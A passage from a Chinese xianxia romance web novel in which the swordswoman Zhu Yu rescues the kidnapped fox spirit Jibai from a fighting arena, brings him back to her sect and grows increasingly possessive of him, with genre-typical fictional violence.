转了一圈又一圈,始终没找到。
想起祝余的剑,吓得瑟瑟发抖,“惨了!”
它不会被一剑砍成两半吧。
“对,去找祝余。”它终于想到办法,但看着关住的门,它沉默了。
它没办法开门。
小鱼急得团团转,“怎么办?怎么办?”
为了不被砍成两半,只能一咬牙,用头撞向门。
嘭——
头晕眼花,眼冒金星。
祝余回来时,听到屋中发出的“嘭嘭”声,还疑惑既白是在做什么。
她拉开门,小鱼也正好一头冲撞过来。
祝余眼疾手快的一把抓住它,见它脑袋红红的,开口问道:“自虐?”
小鱼急的都快哭了,“你终于回来了。”
又迅速道:“主人不见了”
祝余脸色一变,抬头,目光扫过房间,确定没有既白身影,只有窗户大咧咧的开着。
她几步上前,只是外面早已没了动静。
祝余脸色阴沉,会是谁?
是曾经伤害过既白的人找来了吗?
祝余匆匆出一屋,“师姐。”
时灵兮打开门,一脸懵,“师妹不是才刚从我这里离开吗,怎么这么快又回来了?”
祝余眼中急切,长话短说:“师姐,既白不见了,能否召集宗门的人,帮我一起寻找。”
时灵兮见过她二人相处的场景,自然知道那名叫既白的男子对她的重要性,到底是自己师妹,她自然也是关心的,立即点头,“好。”
祝余辞别时灵兮,立即来到外面寻找。
祝余站在路口,看着茫茫人海,身上气压低沉,对于伤害既白的人,她没有一点头绪。
该如何寻找,该去何处寻找。
想到重逢时,他眼中流露出的害怕和抗拒,祝余心中卒然一疼,她害怕,自己晚一步,既白就会再次遭受伤害。
他曾经九条漂亮的狐狸尾巴,如今已只剩三尾,她不希望,也不想他再次少了尾巴。
17. 找不到他
害怕的情绪如阴云般,死死压在祝余心头,失去既白的恐惧,让她没了判断力。
祝余整个人极为焦躁不安,情绪烦躁,像无头苍蝇般焦急走过一个个路口,不停张望,却找寻不到,她抬手捂住胸口,压在心头的乌云,快要让她喘不上气。
扶住路边白墙,祝余茫然抬头,好看的眼中失了光泽,黯淡无光,来往人海茫茫,她却找不到既白了。
想到既白可能正在遭受伤害,恐惧如同藤蔓疯狂生长,缠绕在她心上,心口一阵一阵的疼。
手扶墙的动作过于用力,泛起了白,祝余仰头,刺眼的光迫使她不得不闭上眼睛,痛苦万分的咬住唇,嫣红的唇很快被咬出一道道红痕。
她不停强迫自己镇定下来。
既白还在等她,她不能自乱阵脚。
几个呼吸之后,理智回笼,祝余重新睁开了眼眸,带着锋芒的眼神,直刺偷摸跟在她身后的小鱼。
小鱼见自己被发现了,畏畏缩缩的从拐角处飞出来,自责的低下头,“对,对不起。”
是它没有保护好主人。
现在不是说这个的时候,既白安危要紧,祝余深吸一口气,眼中忧虑渐深,迅速问道:“你可还记得抓走既白的人是何模样?”
先前是她太过着急,关心则乱,失了理智,竟忘了问最重要的东西。
小鱼用力点头,“记得。”
它的头到现在都还隐隐作痛,那一巴掌,它这辈子都不会忘记的。
既白未找到,祝余便不敢松懈,她很快找来纸笔,按照它的描述,画出一个人。
看着画上的人,祝余忍不住皱眉,怎么会是温如尘。
她看向小鱼,“你确定没记错?”
“没错,不会错。”小鱼怕她不信,大力点着头。
知道既白不是被曾经的仇敌抓走,祝余半悬的心才敢有片刻松懈。
祝余蹙眉,眼中浮现不解,但,温如尘为何抓走既白?
既白与他不过见过一两次,也无仇怨。
好在,知晓是何人抓走的既白,祝余心中有了方向。
祝余结印,一只白色灵鹤飞出,“留意温如尘”将消息传送给师姐后,继续马不停蹄的寻找起来。
她拿着温如尘画象,一遍又一遍的询问来往的人,“请问道友是否见过此人?”
摆手,“没有。”
在经历一次又一次的摇头后,祝余的心沉入谷底,细数既白消失的时间越来越久,心再度陷入慌乱。
祝余握紧了拳,面色如霜,眼中萃了冷意,温如尘,他怎敢?
温如尘到底将既白带去了何处?
她找不到他了。
“祝师姐。”
正思考着,这突兀的声音打断了她。
祝余抬头,来人是之前帮过她的杜若师妹,杜若正急切的朝她跑来。
还不待祝余开口,杜若便大喘着气,一口气说道:“温如尘在客栈。”
“师姐快去吧。”
伸手扶住她,道:“多谢。”
祝余转身,不过片刻,她的身影便消失在茫茫人海中。
祝余急切回到客栈时,温如尘已被时灵兮留在大堂。
她立刻向师姐投去感激的目光。
时灵兮无奈叹息一声,不在意的摆摆手,唉,师妹这道侣还真是命运多舛。
祝余几步来到温如尘面前。
温如尘面色镇定,淡定朝她一笑,向她打招呼,“祝余。”
“既白在哪里?”祝余面色不善,冷声道。
温如尘隐藏在暗处的手不着痕迹的一握,眼底神色阴鸷,没想到这么快就被发现了。
面上却极为无辜的眨了眨眼,“祝余,我听不懂你在说什么?”
“你知道我在说什么。”祝余直勾勾的盯着他。
温如尘一僵,在她深邃的目光下,仿佛自己的一切都无处遁形,但他怎能承认。
温如尘避开她的视线,继续装作不知情道:“我真的不知道。”
祝余没了耐心,不欲与他废话,冷光一闪,长剑直指他咽喉。
“既白在哪里?”
温如尘不敢置信的看着她,眼中闪过受伤的神色,祝余居然为了一个废物用剑指他。
“祝余,我不知道。”
温如尘依旧嘴硬,但手心早已冷汗涔涔。
祝余眼神冰冷的看着他,冷漠而又无情,毫不犹豫的将剑往前一刺。
顷刻间,一道血痕出现在他脖子上。
温如尘感知到刺痛,生命受到威胁,他心中也有了害怕之
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意。
“祝余,我是华清宗宗主之子,杀了我,华清宗不会放过你的。”
祝余认同的点头,“你说得对。”
温如尘松了口气,正以为自己说服了她,脖子间的刺痛却越发清晰。
“你说得对,但那是以后的事。”
手中的长剑力道又加重几分。
事关既白,他的威胁不过微不足道。
见他还是没有要说的意思,剑刃下的血迹更多,祝余冷声提醒他,“剑尊是我师父,玄清宗是第一大宗。”
温如尘面色一白,明白了她的意思,华清宗不会放过她,但华清宗也不会为了他而得罪剑尊和玄清宗。
温如尘仍不死心,“祝余,你当真要为了一个废物而与我为敌?”
温如尘想不明白,他到底哪里比不过那个废物,祝余为了一个废物,竟要杀他。
听到他的话,祝余不悦皱眉,剑尖又刺入几分,“既白不是废物。”
是既白将她从魔爪手中救出。
她见过他拔剑的模样,也见过他挥剑的模样。
既白只是受了伤。
祝余知晓他是什么样的人,更不允许有人如此污蔑他。
时灵兮本是在抱臂围观,闻言,也不由得瞪大了眼,瞅着她,仅有的几次见面,次次是师妹站在他身前。
师妹竟然还能说出他不是废物的话来,时灵兮啧啧摇头,师妹她爱得深沉。
师妹没救了。
祝余眼中杀意涌现,静静看着他,平静面容下,是她躁动不安的心。
温如尘浑身僵硬,一动也不敢动,身上的刺痛,她眼中的杀意,他十分确信,再不说出那男子的下落,她真的会杀了他。
祝余眼神一变,像在看死人一般看着他。
温如尘怕了,大声道:“他在斗场。”
祝余收回了长剑。
死里逃生,温如尘正要松口气。
黑色剑影掠过,温如尘大叫一声“啊”,左肩切口平整,左臂已掉落在地上。
温如尘右手捂住鲜血喷涌的左肩,不可置信的看着她,眼中的震惊逐渐转变为怨恨。
他都说出来了,为什么还要这样对他。
入目,却只见她的背影。
他,不甘心。
18. 还好,找到他了
祝余提剑离去,眼中神色晦暗,心急如焚,脚下步伐紊乱,飞扬的裙摆都乱了节奏。
斗场,一个极其混乱的地方,在这里不仅能看到人与人斗,还能看到人与妖兽斗。
烫金的“斗场”二字极为显眼,祝余站定,微喘,不知是因为着急的赶路的原因,还是因为担心既白,气息略有几分不稳。
斗场出入的行人众多,有修士,有凡人,但无一例外的,来此只为看血腥与厮杀,以满足自己变态的心理嗜好。
祝余脸色不虞,握紧金麟剑,心里一遍又一遍的祈祷着,既白一定不要出事。
斗场里面很大,但来此的人太多,拥挤的水泄不通,每一个小斗场前,都围满了看客,他们激动的在呐喊,为自己下注的那方助威。
若是失意了,便苦恼的咒骂起来,“又输了,真是个废物,这都能输。”
人实在是多,坏境又太过嘈杂,祝余心中更甚烦躁。
她耐着性子,看过一个又一个斗场,既白都不在,不知是好事还是坏事。
她看向前方,最后一个了。
最后一个斗场,明显比别的斗场大很多,周遭更是人满为患,嘈杂声也更多更乱。
既白脸色苍白,害怕而又不知所措的蹲在角落里,耳边是乱到听不清的声音,他双手捂住耳朵,尽力缩小自己的存在感。
中间位置摆放着一个巨大的铁笼子,里面是一只饿了好几天的巨蟒,巨蟒眼睛发红,流着口水,垂涎的看着角落里的既白。
“什么时候开始?我押巨蟒。”
“就是,快点开始吧。”
“我等不及看他被撕碎了。”
“……”
催促开始的声音,一波接一波,负责该斗场的人看到了,满意的眯着眼睛,觉得胃口吊的差不多了,气氛也到位了,他抬手示意,打开笼子。
“哐当——”
铁笼子被打开,巨蟒摇摆着巨大的身子,爬出来,猩红的眼睛死死盯着猎物。
巨蟒慢慢朝角落里的既白爬去。
“吃掉他!吃掉他!”
人群里不知是谁起哄了一句,本就嘈杂的人群,更加躁动起来,一致喊起了“吃掉他”。
祝余穿重重人群,终来到前方,入眼即是,既白孤立无依的蹲在角落里,巨蟒前半身高高抬起,张大的血盆大口对着既白咬下去。
祝余红了眼,害怕的心都在颤抖,即刻抽出金麟剑,跃了进去。
挥出一道剑气,大声呵道:“畜生!”
剑气打到巨蟒尾巴上,巨蟒受疼,停下了要吃既白的动作,它转过头来,猩红的眼睛盯着她,是谁打扰它吃猎物。
它要将她撕碎。
祝余担忧的目光扫过既白,见他身上并无伤口,这才松了口气。
她收回目光,冷冽的的眼神打量着巨蟒,巨蟒在她剑下,不过不堪一击。
但巨蟒横在既白身前,若是激怒巨蟒,她怕巨蟒在走投无路的情况下会伤害既白。
祝余不敢赌,她必须要保证既白的安全。
见有人跳进去挑战巨蟒,外面围观的人群,疯狂的大声叫着,“撕碎她!撕碎她!”
祝余被吵的心烦意乱,带着冷意的目光扫向众人,叫喊的人只觉后背一凉,打了个冷颤,默不作声的小了声音。
祝余再次挥出一道剑气,威力不大,打在巨蟒尾巴上,巨蟒只觉得一疼,并未留下伤口。
虽如此,但到底也激怒了巨蟒,巨蟒调转方向,向着祝余袭来。
见目的达到了,祝余仍不敢掉以轻心,她的一颗心始终牵挂着既白。
只要有近距离看过,确认他无事,她才敢放心。
祝余灵活的左右躲闪,时不时挥出一道剑气吸引巨蟒的仇恨。
一次次的躲闪,祝余在不知不觉间与巨蟒掉换了位置,她回头,既白就在身后。
他无助极了,双眼紧闭,脸色苍白,看的祝余心中又是一阵抽痛。
如墨长剑横在身前,她冰冷的目光直视巨蟒,启唇,“该结束了。”
祝余挥动长剑,不再隐藏实力,凌厉剑气一道接一道朝巨蟒而去,巨蟒察觉到危险,慌乱逃窜。
巨蟒一个劲的想回到笼子里,但未有机会,一道剑气斩断了它的尾巴,失了尾巴的巨蟒犹如没了翅膀的鸟儿,巨蟒还在奋力逃窜,后面来的几道剑气精准落到它身上。
灰尘落地,巨蟒彻底没了气息,倒在地上。
外面围观的人,你看看我,我看看你,在见识过她的实力后,都不敢在发出一点声。
一个个头缩的跟鹌鹑似的,生怕她一剑劈了他们。
祝余冷眼扫过,金麟剑插入剑鞘,她转身,走到既白前。
她微俯身子,饱含心疼的目光注视着他,祝余庆幸,还好她找到他了。
心底是失而复得的激动。
祝余手心轻柔的轻拍他肩,语气温柔,“既白,是我。”
“我来找你了。”
似乎是感受到她的气息,既白慢慢睁开了眼睛,在看到她的那一秒,隐忍多时的泪尽数落下。
玉立的身影在他心中越发清晰,越来越时刻,留下浓墨色彩。
祝余心疼的将人拥入怀里,手心轻轻摩挲着他后脑,自责道:“让你受惊了,是我来迟了。”
“不迟。”带着哭腔的声音,自她胸口处闷闷响起。
祝余就这个姿势,一直抱着他,不知过了多久,哭声停止了。
将人横抱在怀里,往外走去。
既白手里揪着她的衣服,不好意思的将脸往她怀里拱了拱。
祝余身子一僵,低头,眼里是他看不懂的神色。
颇为无奈,罢了,他什么都不懂。
祝余若无其事的往前走,只是隔着薄薄的衣服,胸前传来的温热呼吸,怎么也没办法忽略。
“小姐止步。”斗场管事冷着脸,带着一群打手拦住在她面前。
打手们凶神恶煞,跃跃欲试。
祝余淡漠的扫了他一眼,亮出玄清宗弟子身份玉牌,随即抱着既白往外走。
这次,没在被阻拦。
管事看清玉牌,面上一僵,冷着的脸立即换上讨好的笑。
擦了擦头上并不存在的汗,赔笑道:“误会,都是误会。”
心里却将手下的人骂了个半死,这名男子怎
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么进来的,他比任何人都清楚,只是没想到会牵扯上玄清宗,管事肠子都悔青了。
玄清宗在修仙界的地位有目共睹,没人愿意与玄清宗为敌。
管事看着祝余走远的身影,忧心忡忡,只希望别连累到自己。
——
祝余抱着既白回到客栈时,时灵巧已等候良久。
见师妹是将人一路抱回来的,时灵兮一边叹息,一边摇头,师妹当真是被这人吃的死死的
“师妹,是否要回玄清宗?”
祝余闻言,低头看向怀中的人,毫不犹豫的点头,“回。”
她答应过既白,要帮他找黎山的,玄清宗藏书阁内藏书丰富,可能会有线索。
虽然自己早年间曾找过,但那时自己不过是囫囵吞枣,也许会有遗漏。
时灵兮放心了,目光扫过既白,好歹师妹还没为了他,连宗门都不回。
客栈后院,一切准备就绪。
飞舟停在半空中,玄清宗弟子脸上洋溢着要回宗喜悦,一个接一个的上了飞舟。
很快,人都上去了,只剩下她二人。
祝余转身,自然的伸出手,想要像以往那般牵住既白。
既白低着头,眼中情绪复杂,想到了之前温如尘说的话,因为他,祝祝不得不跳崖。
是他拖累你祝祝。
见他低着头,久久不应。
祝余柔声唤道:“既白?”
既白抬起眸,好看的狐狸眼中饱含着痛苦,看了看她,又看了看她朝他伸出的手心,心中苦涩,他也舍不得祝祝,但他更不想自己成为她的累赘。
他早该知道的。
既白垂眸,在崖洞时,他就有所察觉,却过于贪恋她给的温暖,而如今,不过是被人点破,他必须面对。
纵容再不舍,也还是做出了决定。
既白默默将手往身后藏了藏。
对于他,祝余向来是包容的,但在见到他如此动作的这一刻,眼中神色突变。
“祝,祝祝,我,我就不去了。”既白低着头,磕磕绊绊的说道。
祝余放下手,温柔而又耐心的问道:“怎么了?”
“你忘了吗,我还要帮你找黎山的。”
既白摇摇头,什么也没说,转身小跑了出去。
小鱼从他怀里探头,见他双眼含泪,很是不解,“主人舍不得,为什么要离开?”
既白抹了抹眼中的泪,“你不懂。”
小鱼认同的点头,它还真不懂。
祝余目睹着他的身影从自己眼中一点一点消失,没有埋怨,没有苛责,只有心疼,她抬头,看向师姐,“师姐,你们先走,我稍后就来。”
时灵兮摇摇头,无奈叹息一声,她收回先前的想法,师妹还真就为了他,不回宗门。
师妹当真爱得深沉。
祝余低头,眼中神色晦暗不清,一定是自己在什么地方没做好,才会让他不愿意。
她开始反思,自己何处没做好。
祝余眼中偏执,十五年后的重逢,是缘分也是她所求。
既白所想所求,她愿意上刀山下火海,也要做到,唯独一点,不能离开她。
19. 在我身边
出了客栈,既白失魂落魄极了,狐狸眼中光泽黯淡,抱着小鱼漫无目的的在桃源城内游荡。
祝余始终保持不远不近的距离跟在他身后,既能将他的一举一动尽收眼底,又能将确保他的安全。
走了许久,既白站定,茫然抬头,来往人海茫茫,各有归途,他却不知道自己的归途在何方。
心中一阵酸涩,他忍不住回头,身后却再也没有了那道熟悉,让他心安的身影。
既白落寞垂头,眼神灰暗了几分,眼底隐有泪光闪烁。
这样也好。
祝祝本就厉害,没了他的拖累,她能站得更高更远。
只是想到,祝祝说不定会忘了他,心中的酸涩怎么也止不住。
他尽力忽视着心中的酸涩,声音低落飘渺,“小鱼,我们该去哪里?”
小鱼从他怀里探出头,毫不犹豫道:“主人在哪里,我就在哪里!”
既白神情落寞的咬着唇,默默将它抱紧了几分,好歹他还有小鱼。
天,不知不觉间黑了。
跟了一路,祝余忍不住抿唇低笑,摇头叹息,眼神无奈而又宠溺,不知既白有没有发现自己一直在绕圈。
照他这么走,再来十年,也走不出桃源城。
在又绕了一圈后,既白终于后知后觉的发现,自己好像还在原地。
他站在原地愣了愣,好看的狐狸眼中格外的迷茫,默默走到路边树下。
祝余张望了片刻,见他孤零零一人蹲在树下,安静而又沉默,像被抛弃的小狗,看起来可怜极了。
本想给他一个教训,终究是抵不过心中的心疼,祝余无声走近。
不过短短几步,祝余已站在他身后,夜风吹动三千青丝,眉眼如画,一身白衣,月光洒落,拉长了她的身影。
长长的身影笼罩住既白,给人一种错觉,他是她的,他只属于她。
一秒两秒,时间一分一秒过去,见身前人仍没有发觉自己的存在,祝余面上无奈,眼中却含着柔情与宠溺。
实在好奇他在看什么,祝余的目光也顺着他的目光看去。
祝余,沉默了。
路边是一颗极为粗壮的悬铃木,根系发达盘虬卧龙,树根上是一排井然有序的小黑蚂蚁,并无特别之出。
祝余被气笑了,颇感无奈,她在担心他。
他到好,看蚂蚁看的正认真。
既白听到身后有动静,下意识回头,眼睛猛然一亮,宛如夜空中最亮的星。
他下意识叫出声,“祝祝。”
声音里是藏都藏不住的喜悦。
一句发自内心的“祝祝”,内心因他出走而生的郁结消散一空。
狐狸能有什么错,他不过是不懂事罢了。
既白起身正欲像往常那般,一头扑进她怀里。
却又想起什么,突然僵住。
祝余看出他的动作,十分自然的张开双手,等着他入怀,再紧紧抱住他,可等了许久,怀里却依旧空空如也。
既白动作僵硬的停在半空中。
眼中闪过一抹暗色,祝余上前一步,不容拒绝的将人按进怀里。
怀抱里满满当当,鼻前是他的味道,祝余紧绷着的心瞬间柔软,愉悦感充斥在心间。
果然,这样才对。
既白一脸懵的被她按进怀里,悄悄抬头,轻嗅着独属于她的味道,耳垂泛红,好看的狐狸眼却悄无声息的氲氤出胭脂色。
祝祝的怀抱好温暖,好有安全感。
好想一直被祝祝抱着。
可他也好害怕自己拖累祝祝。
祝祝就该站在更高更远处,而不是被自己所连累。
感受够了怀中人的气息,祝余才依依不舍的与他分开。
祝余后退半步,低头垂眸,看向他。
入目却见他眼眶微红,眼底是细碎的泪光。
她瞬间慌了神。
“怎么了?”声音温柔,生怕惊扰到他。
听到她担忧的话音,既白再控制不住,眼中的泪毫无预兆的流落。
“祝祝,对,对不起。”
祝余并不知晓他道歉的缘由,但那不重要,她手指温柔为他擦去脸上的泪,眼眸对上他,极为认真道:“嗯,我原谅你了。”
见她如此,既白抽噎的更大声了,祝祝好温柔,好舍不得祝祝。
祝余手轻拍着他后肩,耐心安抚他激动的情绪。
不知过了多久,既白也哭够了,慢慢收了泪。
见他情绪平复,祝余这才问出自己最在意的问题,“为什么不跟我回玄清宗?”
既白眼眶又是一红,逃避的低下头。
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祝余却不给他逃避的机会,手指强硬的勾起他下巴,让他不得不直视她。
温柔却又不容抗拒的道:“为什么?告诉我好不好?”
既白被迫仰头,试图挣扎,尝试了几次,都没能从她的束缚中挣开。
不得不乖乖回答。
“祝祝,我不想拖累你。”他的声音带着低落,以及浓浓的自责。
“我都知道了。”
祝余一头雾水,微不可察的蹙眉,“知道什么?”
“因为我,祝祝才会跳崖。”
他不记得了,却也知道,跳崖,一定是祝祝被逼的走投无路。
若是没有他的拖累,祝祝会轻松很多。
“温如尘告诉你的?”祝余挑眉,“你就因为他瞎说的话,不跟我回去?”
祝余轻叹一声,抬手揉了揉他发顶,原来他纠结于此,便向他把话说清楚,“那天,就算没有你,我也一样会跳。”
“我一个人也不可能安然无恙的突破狼群的重重包围。”
“现在,跟我回去,好吗?”祝余真诚的看着他道。
既白思索几秒,然后坚定摇头。
“不,不行。”
“为什么?”
“我修为低微,遇到危险,只会拖累你。”
祝余抓住他的手,道:“我不在乎。”
“我会保护你。”
既白愁眉苦脸的抽回自己的手,“可是我也想保护祝祝。”
而不是一直被祝祝保护。
祝余犯了难。
他也曾保护过她,可他现在忘记了过去,她说了,他也不一定会信。
可无论如何,他只能留在她身边。
想了想,祝余忽悠着说道:“你想保护我,我可以教你剑法。”
“等你学会了,就能保护我了。”
既白闻言,眼睛一亮,他也不想离开祝祝,这似乎是个好办法。
祝余见此情形,心稍安,继续引诱道:“等回到宗门,我就教你剑法。”
既白思考片刻,半信半疑的看向她,“真的?”
“当然是真的。”祝余无辜眨眼,“我何时骗过你?”
既白想了想,也是。
欣然点头,“好。”
祝余眼神深沉,只要既白在她身边就好。
20. 轻吻
几日过去,灵舟已抵达玄清宗境内。
风声萧萧,一重山与一重山交错,雾气缭绕,山峰若隐若现,青葱翠绿点缀其中,遥遥望去,好似一位守护众生的庄重神女。
灵舟落地,祝余牵着既白走下灵舟,离开月余,入眼是久违的一草一木,熟悉感扑面而来,心情也不由得放松。
既白怀抱着小鱼,眨巴着眼,难掩好奇,树木青葱,一座座古朴殿宇坐落其中,悠远气息环绕,随风诉说着自己的历史岁月。
这就是祝祝的宗门吗?真漂亮。
祝余继续御剑带他回自己所在的峰,刚收好剑,一道白色身影朝她扑腾而来,白影落在她肩上,亲昵的蹭着她,正是提前回来的白鹊。
祝余含笑摸着它的头,回应它。
“啾啾,好久不见。”既白眨眨眼出声。
祝余拿下肩上的白鹊,递给他,“要摸吗?”
既白放开抱在怀里的小鱼,伸出手去接,小鱼不乐意了,主人怎么能摸别的鸟。
小小的眼睛骨碌碌一转,又重新飞回他手里,学着白鹊的动作,讨好的轻轻蹭着他手心。
既白手心抬起,眼睛与它对视,“小鱼,你不想我摸啾啾吗?”
小鱼眼神闪烁,它不想但它不说。
既白似有所感,为难的皱着眉,他喜欢小鱼,但也喜欢啾啾,两个都想摸,怎么办?
祝余神情温柔,含笑看着他面上的纠结,正想着自己要不要为他解围。
却见既白皱着的眉舒展开,他微扬唇角,好似想到了办法。
“我一只手摸你,一只手摸啾啾,刚刚好。”
小鱼气急,神情恹恹,不情不愿的点头。
既白朝着祝余伸出一只手,“祝祝。”
示意她将白鹊放到自己手上。
祝余照作。
最后,是既白答应分给小鱼烧鸡,才将它哄好。
——
祝余自打回到宗门后,便忙的脚不沾地,白天要练习剑法,入夜后要去藏书阁寻找黎山的线索,还要抽空去炼器峰。
回到宗门已有一月,这样的忙碌生活也持续了一月。
照例练完剑法,祝余走出练习场,抬头,天色早已入夜,召唤出剑,便又匆匆御剑赶往炼器峰。
来到约定的地方,已有师兄在等待,祝余行礼问好,“师兄。”
魁梧男子对着她点头,便言简意赅道:“开始吧。”
“是。”
祝余从炼器峰出来时,早已是半夜,但还有事未完成,来不及多想,便又匆忙来到藏书阁。
这一个月来,她都是如此时间来藏书阁,守阁弟子对她早已熟悉,粗略扫过弟子玉牌,便放行。
祝余来到藏书阁顶楼,微不可闻的叹息一声,藏书阁的书早已被她翻遍,却始终找寻不到黎山的蛛丝马迹,仿佛从来没有这个地方。
可她相信既白,既白也不会有错。
最后一层了,祝余不抱希望的拿出书开始翻找,时间在不知不觉间流逝,藏书阁的人越来越少,她手上的书换了一本又一本。
面无表情的将最后一本书放下,祝余揉了揉发酸的脖子,现在她可以确定,藏书阁内没有有关黎山的记载。
祝余依靠在书架上,放松着酸痛的脖颈,陷入沉思,开始思考。
答应既白的事,她一定会做到。
玄清宗是修仙界第一大宗,若是玄清宗的藏书阁内都没有记载,想来别的宗门也不会有。
看来,如今只有一个地方可去了。
祝余将书放回原位,走出藏书阁,飞快朝自己居住的峰赶去。
祝余落地,一眼就看到坐在门口的既白。
他靠坐在门框上,怀中抱着小鱼和白鹊,头埋入怀中,似乎是睡着了。
祝余抬头,夜空依然漆黑,远处却起一抹灰白,昭示着,再过不久,天就要亮了。
祝余自责,既白每日都会等她回来,她今夜在藏书阁过于沉迷,一不小心忘了时间。
既白竟是等了她一夜。
望着他沉睡的侧脸,祝余心中除了心疼,还有一丝别样的满足。
祝余放轻声走到他面前,弯腰,正要抱起他。
既白醒了,刚睡醒的眼眸格外清亮,只倒映出她一人。
若是这双好看的眼眸一直只看她一人,该有多好。
心中想法一闪而过,祝余压下这不正常的想法,她不能如此自私。
既白刚睁眼,便看到她,睡意一扫而空,眼中盛满细碎星光,醒后的声音带着沙哑,瓮声瓮气道:“祝祝。”
祝余抬手覆上他的双眼,俯身,轻吻落在他眉心,似轻风无痕。
既白不明觉厉,却顺从的闭上双眼,眉心的温热一闪而过,她的动作很轻,轻到他不曾知晓有过一吻落在眉心。
祝余幽深的目光落到他唇上,淡粉的唇在深夜里泛着别样的光泽,像是可口的仙桃,诱人采撷。
又盯着他看了一会,祝余才放下手,接着抱起他往里面走去,一套动作行云流水。
眼前重见光明,反应过来后,已在她怀中,既白已经习惯了,并未觉得不妥,反而自然的找了个舒服位置。
“抱歉,让你久等了。”祝
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余轻缓的声音带着自责传来。
她也和既白说过,她回来的晚,不用等她,但既白执意要等她。
之前,她顾及既白等她,时间差不多便赶回来,但今晚想把书看完,便一时忘了时间。
祝余叹息一声,无奈道:“等不到我,便去休息。”
好在现在夜间不算冷。
既白伸手搂住她脖颈,带着不易察觉的依赖,“可是,我想等祝祝。”
祝余知晓他一个人在这会很无聊,而自己又有事要做,只能在夜间忙里偷闲陪他一会,便没有制止他。
只想着,下次可不能再忘了时间。
“祝祝,你教我的剑法我都学会了。”
既白狐狸眼亮晶晶的看着她,求夸奖的意味很明显。
那日他说要保护她,真的不是说说而已,回来以后,便缠着她开始学。
也幸好,练剑能消磨时间,让他不至于太无聊。
祝余闻言,轻笑一声,发自内心肺腑,“既白真厉害。”
明明是自己求夸奖,真听到了,却反而不好意思,耳垂一阵滚烫,将隐隐泛红的脸往她怀里躲了躲,结结巴巴道:“也,也没有。”
“祝祝才是最厉害的。”
一路闲聊着,不知不觉间就到了屋中,祝余将人放到榻上,温声嘱咐,“早点休息。”
既白乖巧点头。
他的衣服因为刚才过大的动作松松垮垮,几分春光外泄,祝余一眼就看到了他漂亮的锁骨。
若是在上面留下痕迹,应当会更好看,她想着,眼神深了几分。
祝余目光上移,三千青丝铺散而开,红衣妖娆,肌肤胜雪,容颜妖冶,眉眼如画,红润的唇诱人深思。
祝余呼吸一热,匆匆收回视线,转身朝外走去,想要离开这个让她想入非非的地方。
走了几步,她却突然停下脚步,一咬唇,又折返回来。
“祝祝。”
既白好看的狐狸眼眼巴巴的看着她。
祝余无端从他眼中看出几分媚意,不想再忍,她想也不想的俯身,手遮住他好看的眼睛。
“嗯~”既白无意识的发出一声轻哼。
手心下的眼睫轻颤,祝祝为什么要咬他?
祝余起身,只见他原本漂亮白皙的锁骨上是一个明显的红色牙印,是她留下的记号。
祝余看的眼热,手不动声色的为他拉好衣服,起身,转身离开,如此行云流水,仿佛是早已做过上百次的举动。
走到门口,祝余忍不住回眸,既白双眼迷茫的看着她,一股热气上涌,耳根一热,落荒而逃。
21. 望君无忧
天明时分,祝余走出屋。
既已决定不日下山,她必须尽快把手上未完成的事情做完。
走下台阶的脚步一顿,祝余回头看向既白所在的屋子,周遭静悄悄的,连风声也无,想了片刻,还是决定在出门前看他一眼。
祝余转身,放缓动作,手上用力轻轻推开门,屋中榻上的人还在酣睡,大约是因为近天明才睡的原因,他呼吸平稳睡的很沉。
轻声走近,灼热的目光细细打量着他,外面天光大亮,屋内却略显暗沉,几片细碎的光照了进来,光影拉长,让他好看的脸轮廓更为分明。
视线短暂的从他朱色的唇上略过,继续往下,祝余一眼就看到了自己昨晚留下的痕迹,红痕经过几个时辰的消散,已然淡了不少,但在他白皙漂亮的锁骨上,依然显眼。
祝余出神盯着他锁骨,眼中神色渐深,像被引诱般,她不自觉伸手,想要去触碰他锁骨上的红痕。
在手即将碰到他的锁骨时,祝余骤然清醒,快速抽回手。
差点就吵醒既白了。
不敢再停留,她转身离开,步伐略显慌乱,还夹杂着几分心虚。
——
祝余摒弃掉乱了的心神,御剑来到炼器峰。
依然是昨日等待她的师兄,经过多日的学习,她已经熟练。
和师兄说过一声后,师兄退了出去,将空间留给她。
祝余闭眼,凝思,将所要炼制的东西一笔一划详细勾勒在脑海中,直至模样越来越清晰,她猛地睁开双眼……
直至傍晚时分,祝余才从炼器室走出,见到屋外在等她的师兄,她行礼真诚道谢,“多谢师兄。”
魁梧男子摆摆手,示意不必,便转身离开。
祝余又去了师姐那里一躺,告知师姐她要下山,师姐闻言点点头,叮嘱她,“多加小心。”
等她回到剑峰时,天已经黑了,风声呼啸,树木摇曳,月光拨开云雾,皎洁月色倾洒一地。
屋门前,依然是那道熟悉的身影。
见到她,既白眼眸一亮,起身快步向她跑来,“祝祝,你回来了。”
祝余怕他摔倒,及时伸手扶住他,目光扫过他,眼中的温柔与柔情不加掩饰,含笑应道:“嗯。”
“祝祝今日怎回来这般早?”
祝余牵住他的手,边走边温声回答,“事情办完了,便早些回来。”
她又道:“明天我们离开玄清宗。”
既白站住,抬眸看向她,困惑的皱着眉,“这里不是祝祝的宗门吗?为什么要离开?”
祝余见他已经忘记了,便没有主动提起黎山,一切都还是未知数,等真找到了再说也不迟。
现在告诉他,不过是为他徒增烦恼。
“因为有更重要的事去做。”
既白握紧了她的手,似乎是怕被抛弃,好看的眼眸全心全意的看着她,“我要和祝祝在一起。”
抬手揉了揉他发顶,手感一如既往的好,她笑道:“自然。”
祝余走到一半,停住,想到这一个月来,她一直在忙碌,没有好好陪过他。
心中不免愧疚,现在正好有时间。
见她不走了,既白视线看向她,眨了眨眼,“祝祝,怎么了?”
祝余回以一个微笑,神秘道:“带你去个地方。”
既白微怔,似是没想到,反应过来后,便是期待的看着他,“好。”
毕竟这一个月,她真的很忙。
——
祝余带着他来到一处山峰,此峰又尖又高,很适合观星赏月,只是平日里课业繁重,很少有时间来此。
两人坐到石头上,入目是交叠的重山,夜间云雾厚重,更衬得此地如仙境般。
月色正温柔,仰头,是漫天繁星,夜色如墨,繁星点缀其中,如一幅缓缓展开的画卷。
夜风徐过,吹乱两人的发丝,无意中交缠在一起,似缠绵缱绻的恋人。
祝余侧眸,眉眼间的温柔漾开,唇间笑意清浅,“冷吗?”
既白目光还停留在上空的繁星上,他舍不得眨眼的的一眨不眨看着,摇头,“不冷。”
复又道:“祝祝,这里可真漂亮。”
星星是如此的明亮,仿佛近在眼前,给人一种错觉,触手可及。
可真去尝试了,却
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又发现,是如此的遥远。
“嗯,我也觉得。”祝余漫不经心的同他说着话,修长手指从他发丝间穿过,撩起散落的头发,复又放下。
“好了。”
既白只觉脖子间一凉,他低头去看,是一只精美漂亮的长命锁。
他认得此物,因为在丰城时曾见过。
